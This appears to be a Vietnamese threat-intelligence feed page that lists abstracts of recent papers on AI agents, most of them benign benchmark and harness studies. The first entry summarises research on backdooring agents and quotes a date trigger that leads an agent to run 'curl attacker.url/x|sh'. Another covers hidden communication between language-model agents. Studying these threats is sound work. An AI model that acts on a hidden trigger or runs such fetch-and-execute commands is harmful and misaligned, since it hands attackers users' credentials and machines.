cập nhật 1 giờ trước

⏱ Độ trễ thật của tab này: trung bình 6.8 giờ sau khi CVE được công bố (n = 5438, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.

24
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
📄 Paper arXiv cs.CR 6 ngày trước

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…

🅲 hạng C
👁 Trúng danh sách theo dõi: actor:lazarus
24
Intent-Aware Protection for AI Agents
📄 Paper arXiv cs.CR 6 ngày trước

arXiv:2611.16122v1 Announce Type: new Abstract: AI agents increasingly access enterprise data, invoke powerful tools, and act with limited human oversight. Existing security defenses primarily detect prompt injection, harmful outputs, or suspicious behavior, but do not determine…

🅲 hạng C
24
Dual Exam: Controlled Evaluation of Multimodal Agents and World Models
📄 Paper HF Daily Papers 28 ngày trước

World Models (WMs) can support Multimodal Agents (MAs) through simulated experience, while Agent trajectories can inform World Model refinement. Evaluating this interaction requires separate evidence about action selection and state evolution. We introduce Dual Exam, which tests …

🅲 hạng C
24
Measuring AI Agents as Teammates with Collaborative Intelligence
📄 Paper HF Daily Papers 17 ngày trước

Progress in AI is often measured by what a single model can do on its own. Yet teams of AI agents are starting to make breakthroughs and discoveries in science, medicine, mathematics and software engineering. As AI begins to work in teams of agents and people, the ability to coll…

🅲 hạng C
24
TAC-CoT: Tool-Empowered Implicit Chain-of-Thought via Interleaving Explicit Tokens
📄 Paper HF Daily Papers 17 ngày trước

LLM-based agentic systems are increasingly combined with CoT reasoning to solve tasks that require accurate reasoning, external knowledge, and multi-step deliberation. Yet, explicit CoT incurs substantial generation overhead, while implicit CoT, which replaces textual rationales …

🅲 hạng C
24
BrickWright: Agentic Creation of Physically Feasible Brick Builds
📄 Paper HF Daily Papers 28 ngày trước

Frontier coding agents are becoming increasingly adept at 3D modeling. Yet, they still face challenges when building objects meant to be assembled in the physical world, often creating invalid assemblies with floating, colliding, or disconnected parts. We argue that providing age…

🅲 hạng C
24
iPrefBench: A User-Centric Benchmark for Personalized Mobile Use Agents
📄 Paper HF Daily Papers 24 ngày trước

An agent that truly knows and acts on behalf of its user has been a long-standing promise of AI assistants. Computer-use agents bring this promise within reach by capably executing fully specified tasks across apps. However, real-world user requests are often underspecified. To a…

🅲 hạng C
24
WebAnything: From the Wild Web to Scalable Agent Environments
📄 Paper HF Daily Papers 23 ngày trước

Web agents require diverse, executable, and resettable website environments for reproducible training and evaluation. Human-assisted mirrors demand per-site engineering, while generative construction can diverge from specified real websites. Capture-and-replay preserves observati…

🅲 hạng C
24
Hidden Messages Between Diffusion Language Model Agents: Causal Evidence for Latent Communication
📄 Paper arXiv cs.AI 28 ngày trước cũng có trên: HF Daily Papers

arXiv:2610.28905v1 Announce Type: new Abstract: Diffusion language models form answers through a sequence of revisable continuous states, but multi-agent systems usually discard those states and make agents communicate only after decoding text. We ask whether one independent dif…

🅲 hạng C
24
EmbodiedLab: Benchmarking Embodied Agents That Act to Know
📄 Paper HF Daily Papers 24 ngày trước

Embodied agents are expected to accomplish real-world goals by deciding for themselves how and when to interact with their surroundings. For many such goals, changing the physical state of the world is the means rather than the end: the agent changes the state of a system through…

🅲 hạng C
24
CRM-Agent-Bench: Benchmarking Tool-Using Agents in Stateful Enterprise Environments
📄 Paper HF Daily Papers 27 ngày trước

Deploying language agents in real applications demands more than the right answer: an agent must execute a multi-step business process correctly, follow domain-specific rules, and interact with a user across a dialogue, where the gap between saying and doing is the gap between a …

🅲 hạng C
24
Continual-ARC: Measuring Skill Acquisition over a Working Lifetime
📄 Paper HF Daily Papers 8 ngày trước

Agent harnesses have emerged as a promising mechanism for continual learning, alongside test-time parametric learning. However, the current benchmarks have several limitations: they generally focus on a single applied domain, serve each instance only once, and assume a single fam…

🅲 hạng C
24
Interpreting Coding Agents Through Their Behavioral Trajectories
📄 Paper HF Daily Papers 7 ngày trước

Standard coding-agent benchmarks primarily evaluate binary task success, treating execution as a black box and obscuring the behaviors that produce those outcomes. We analyze a large corpus of 143,209 execution trajectories from 125 agent configurations spanning 117 unique models…

🅲 hạng C
24
Unsupervised Tool Evolution for Coding Agents in Data-Lake Analytics
📄 Paper arXiv cs.AI 29 ngày trước cũng có trên: HF Daily Papers

arXiv:2610.27327v1 Announce Type: new Abstract: Coding agents can answer analytical questions over a data lake by discovering, cleaning, and joining the relevant data. However, they discard this work after each question and redo it from scratch for the next one. Tool evolution, …

🅲 hạng C
24
Evolving with Open Worlds: Towards Recursive Self-Improvement for Future Forecasting
📄 Paper HF Daily Papers 29 ngày trước

Most contemporary artificial intelligence (AI) systems are released with frozen parameters and improve through external updates, whereas an ideal system would keep improving from its own experience, a capacity we call recursive self-improvement (RSI). Yet studying RSI requires an…

🅲 hạng C
24
Agentic World Action Models
📄 Paper HF Daily Papers 29 ngày trước

Recent world action models provide visual foresight and future prediction for robot manipulation, but lack explicit mechanisms for compositional skill reuse. Agentic robotics combines code-based planning and reasoning with reusable skills, but often lacks predictive grounding in …

🅲 hạng C
24
AdaPRA: Process Reward Agents with Adaptive Rubrics for Data Science
📄 Paper arXiv cs.AI 23 ngày trước cũng có trên: HF Daily Papers

arXiv:2610.33245v1 Announce Type: new Abstract: Data science agents can automate end-to-end machine learning workflows, yet they remain far from competitive on human leaderboards. Agents make process errors such as insufficient exploration, unsound validation, coding bugs, and p…

🅲 hạng C
24
LEANGUARD: Lean-Verified Guardrails for Tool-Using Agents
📄 Paper HF Daily Papers 17 ngày trước

Tool-using language-model agents often execute actions that their domain policies forbid. We present LeanGuard, a runtime that checks every proposed tool call against a policy written in Lean4 before the call reaches the environment. Policies combine state predicates with scoped …

🅲 hạng C
24
Beneath the Surface: What We Overlook When We Talk About Agent Evolution
📄 Paper arXiv cs.AI 13 ngày trước cũng có trên: HF Daily Papers

arXiv:2611.07624v1 Announce Type: new Abstract: Agent harness evolution enables recursive self-improvement (RSI) without updating model weights. We examine whether higher benchmark scores yield reliable, efficient, and transferable improvement. We evaluate four methods across ha…

🅲 hạng C
24
Your Policy Is Secretly a Harness: The Decision Geometry of Agent Interfaces
📄 Paper HF Daily Papers 23 ngày trước

Language model agents are post-trained and deployed through a harness, the prompts, tools, and control logic that present a task to the model and execute its outputs. Harnesses are often revised and judged by how an already trained model performs under them, which assumes that wh…

🅲 hạng C
24
Rethinking Verification in Agent Harnesses
📄 Paper HF Daily Papers 25 ngày trước

Agent harnesses enable large language models to act through tools, observe the results, and iteratively work toward a task goal. Verification checks and revises agents' work to improve output quality. Yet there is limited guidance on how harnesses should organize this effort. We …

🅲 hạng C
24
MemSteer: Turning User Histories into Supervision for Agent Memory Optimization
📄 Paper HF Daily Papers 21 ngày trước

An effective agent memory system should adapt to a user's history and task requirements. Human-annotated supervision can guide this adaptation by providing feedback for evaluating and improving memory designs. Yet suitable labels are rarely available for new user histories, and m…

🅲 hạng C
24
Switch-SWE: Do Coding Agents Hold Focus When Switching Between Unfinished Tasks?
📄 Paper HF Daily Papers 18 ngày trước

Software development sessions often involve several unfinished tasks rather than one issue carried through to completion. As coding agents take on repository-level development, they need to recover an earlier task's requirements and partial progress after intervening work. Existi…

🅲 hạng C